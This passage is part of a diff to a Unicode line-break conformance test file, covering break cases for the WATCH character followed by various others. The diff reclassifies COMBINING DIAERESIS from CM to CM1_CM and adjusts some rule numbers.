-× 231A × 0308 ÷ 00B4 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 231A × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 231A × 0308 ÷ 00B4 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 231A × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
× 231A × 000B ÷ # × [0.3] WATCH (ID) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 231A × 0020 × 000B ÷ # × [0.3] WATCH (ID) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 231A × 0308 × 000B ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 231A × 0308 × 0020 × 000B ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 231A × 0308 × 000B ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 231A × 0308 × 0020 × 000B ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 231A ÷ FFFC ÷ # × [0.3] WATCH (ID) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 231A × 0020 ÷ FFFC ÷ # × [0.3] WATCH (ID) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 231A × 0308 ÷ FFFC ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 231A × 0308 × 0020 ÷ FFFC ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 231A × 0308 ÷ FFFC ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 231A × 0308 × 0020 ÷ FFFC ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 231A × 007D ÷ # × [0.3] WATCH (ID) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 231A × 0020 × 007D ÷ # × [0.3] WATCH (ID) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 231A × 0308 × 007D ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 231A × 0308 × 0020 × 007D ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 231A × 0308 × 007D ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 231A × 0308 × 0020 × 007D ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 231A × 0029 ÷ # × [0.3] WATCH (ID) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 231A × 0020 × 0029 ÷ # × [0.3] WATCH (ID) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 231A × 0308 × 0029 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 231A × 0308 × 0020 × 0029 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 231A × 0001 ÷ # × [0.3] WATCH (ID) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 231A × 0020 ÷ 0001 ÷ # × [0.3] WATCH (ID) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
-× 231A × 0308 × 0001 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 231A × 0308 × 0020 ÷ 0001 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
+× 231A × 0308 × 0029 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 231A × 0308 × 0020 × 0029 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 231A × 000D ÷ # × [0.3] WATCH (ID) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 231A × 0020 × 000D ÷ # × [0.3] WATCH (ID) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 231A × 0308 × 000D ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 231A × 0308 × 0020 × 000D ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 231A × 0308 × 000D ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 231A × 0308 × 0020 × 000D ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 231A × 0021 ÷ # × [0.3] WATCH (ID) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 231A × 0020 × 0021 ÷ # × [0.3] WATCH (ID) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 231A × 0308 × 0021 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 231A × 0308 × 0020 × 0021 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 231A × 0308 × 0021 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 231A × 0308 × 0020 × 0021 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 231A × 00A0 ÷ # × [0.3] WATCH (ID) × [12.1] NO-BREAK SPACE (GL) ÷ [0.3]
× 231A × 0020 ÷ 00A0 ÷ # × [0.3] WATCH (ID) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
-× 231A × 0308 × 00A0 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
-× 231A × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
+× 231A × 0308 × 00A0 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
+× 231A × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
× 231A ÷ AC00 ÷ # × [0.3] WATCH (ID) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 231A × 0020 ÷ AC00 ÷ # × [0.3] WATCH (ID) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 231A × 0308 ÷ AC00 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 231A × 0308 × 0020 ÷ AC00 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 231A × 0308 ÷ AC00 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 231A × 0308 × 0020 ÷ AC00 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 231A ÷ AC01 ÷ # × [0.3] WATCH (ID) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 231A × 0020 ÷ AC01 ÷ # × [0.3] WATCH (ID) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 231A × 0308 ÷ AC01 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 231A × 0308 × 0020 ÷ AC01 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 231A × 0308 ÷ AC01 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 231A × 0308 × 0020 ÷ AC01 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 231A ÷ 05D0 ÷ # × [0.3] WATCH (ID) ÷ [999.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 231A × 0020 ÷ 05D0 ÷ # × [0.3] WATCH (ID) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 231A × 0308 ÷ 05D0 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 231A × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 231A × 0308 ÷ 05D0 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 231A × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 231A × 002D ÷ # × [0.3] WATCH (ID) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
× 231A × 0020 ÷ 002D ÷ # × [0.3] WATCH (ID) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
-× 231A × 0308 × 002D ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
-× 231A × 0308 × 0020 ÷ 002D ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
+× 231A × 0308 × 002D ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
+× 231A × 0308 × 0020 ÷ 002D ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
× 231A ÷ 231A ÷ # × [0.3] WATCH (ID) ÷ [999.0] WATCH (ID) ÷ [0.3]
× 231A × 0020 ÷ 231A ÷ # × [0.3] WATCH (ID) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
-× 231A × 0308 ÷ 231A ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
-× 231A × 0308 × 0020 ÷ 231A ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
+× 231A × 0308 ÷ 231A ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
+× 231A × 0308 × 0020 ÷ 231A ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
× 231A × 2024 ÷ # × [0.3] WATCH (ID) × [22.03] ONE DOT LEADER (IN) ÷ [0.3]
× 231A × 0020 ÷ 2024 ÷ # × [0.3] WATCH (ID) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
-× 231A × 0308 × 2024 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) × [22.03] ONE DOT LEADER (IN) ÷ [0.3]
-× 231A × 0308 × 0020 ÷ 2024 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
+× 231A × 0308 × 2024 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [22.03] ONE DOT LEADER (IN) ÷ [0.3]
+× 231A × 0308 × 0020 ÷ 2024 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
× 231A × 002C ÷ # × [0.3] WATCH (ID) × [13.02] COMMA (IS) ÷ [0.3]
× 231A × 0020 × 002C ÷ # × [0.3] WATCH (ID) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
-× 231A × 0308 × 002C ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) × [13.03] COMMA (IS) ÷ [0.3]
-× 231A × 0308 × 0020 × 002C ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
+× 231A × 0308 × 002C ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] COMMA (IS) ÷ [0.3]
+× 231A × 0308 × 0020 × 002C ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
× 231A ÷ 1100 ÷ # × [0.3] WATCH (ID) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 231A × 0020 ÷ 1100 ÷ # × [0.3] WATCH (ID) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 231A × 0308 ÷ 1100 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 231A × 0308 × 0020 ÷ 1100 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 231A × 0308 ÷ 1100 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 231A × 0308 × 0020 ÷ 1100 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 231A ÷ 11A8 ÷ # × [0.3] WATCH (ID) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 231A × 0020 ÷ 11A8 ÷ # × [0.3] WATCH (ID) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 231A × 0308 ÷ 11A8 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 231A × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 231A × 0308 ÷ 11A8 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 231A × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 231A ÷ 1160 ÷ # × [0.3] WATCH (ID) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 231A × 0020 ÷ 1160 ÷ # × [0.3] WATCH (ID) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 231A × 0308 ÷ 1160 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 231A × 0308 × 0020 ÷ 1160 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 231A × 0308 ÷ 1160 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 231A × 0308 × 0020 ÷ 1160 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 231A × 000A ÷ # × [0.3] WATCH (ID) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 231A × 0020 × 000A ÷ # × [0.3] WATCH (ID) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 231A × 0308 × 000A ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 231A × 0308 × 0020 × 000A ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 231A × 0308 × 000A ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 231A × 0308 × 0020 × 000A ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 231A × 0085 ÷ # × [0.3] WATCH (ID) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 231A × 0020 × 0085 ÷ # × [0.3] WATCH (ID) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 231A × 0308 × 0085 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 231A × 0308 × 0020 × 0085 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 231A × 0308 × 0085 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 231A × 0308 × 0020 × 0085 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 231A × 17D6 ÷ # × [0.3] WATCH (ID) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 231A × 0020 ÷ 17D6 ÷ # × [0.3] WATCH (ID) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 231A × 0308 × 17D6 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 231A × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 231A × 0308 × 17D6 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 231A × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 231A ÷ 0030 ÷ # × [0.3] WATCH (ID) ÷ [999.0] DIGIT ZERO (NU) ÷ [0.3]
× 231A × 0020 ÷ 0030 ÷ # × [0.3] WATCH (ID) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
-× 231A × 0308 ÷ 0030 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] DIGIT ZERO (NU) ÷ [0.3]
-× 231A × 0308 × 0020 ÷ 0030 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
+× 231A × 0308 ÷ 0030 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] DIGIT ZERO (NU) ÷ [0.3]
+× 231A × 0308 × 0020 ÷ 0030 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
× 231A ÷ 0028 ÷ # × [0.3] WATCH (ID) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
× 231A × 0020 ÷ 0028 ÷ # × [0.3] WATCH (ID) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 231A × 0308 ÷ 0028 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 231A × 0308 × 0020 ÷ 0028 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 231A × 0025 ÷ # × [0.3] WATCH (ID) × [23.01] PERCENT SIGN (PO) ÷ [0.3]
+× 231A × 0308 ÷ 0028 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 231A × 0308 × 0020 ÷ 0028 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 231A × 0025 ÷ # × [0.3] WATCH (ID) × [23.13] PERCENT SIGN (PO) ÷ [0.3]
× 231A × 0020 ÷ 0025 ÷ # × [0.3] WATCH (ID) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
-× 231A × 0308 × 0025 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) × [23.01] PERCENT SIGN (PO) ÷ [0.3]
-× 231A × 0308 × 0020 ÷ 0025 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
+× 231A × 0308 × 0025 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [23.13] PERCENT SIGN (PO) ÷ [0.3]
+× 231A × 0308 × 0020 ÷ 0025 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
× 231A ÷ 0024 ÷ # × [0.3] WATCH (ID) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
× 231A × 0020 ÷ 0024 ÷ # × [0.3] WATCH (ID) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 231A × 0308 ÷ 0024 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 231A × 0308 × 0020 ÷ 0024 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 231A × 0308 ÷ 0024 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 231A × 0308 × 0020 ÷ 0024 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
× 231A × 0022 ÷ # × [0.3] WATCH (ID) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
× 231A × 0020 ÷ 0022 ÷ # × [0.3] WATCH (ID) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
-× 231A × 0308 × 0022 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
-× 231A × 0308 × 0020 ÷ 0022 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
+× 231A × 0308 × 0022 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
+× 231A × 0308 × 0020 ÷ 0022 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
× 231A × 0020 ÷ # × [0.3] WATCH (ID) × [7.01] SPACE (SP) ÷ [0.3]
× 231A × 0020 × 0020 ÷ # × [0.3] WATCH (ID) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
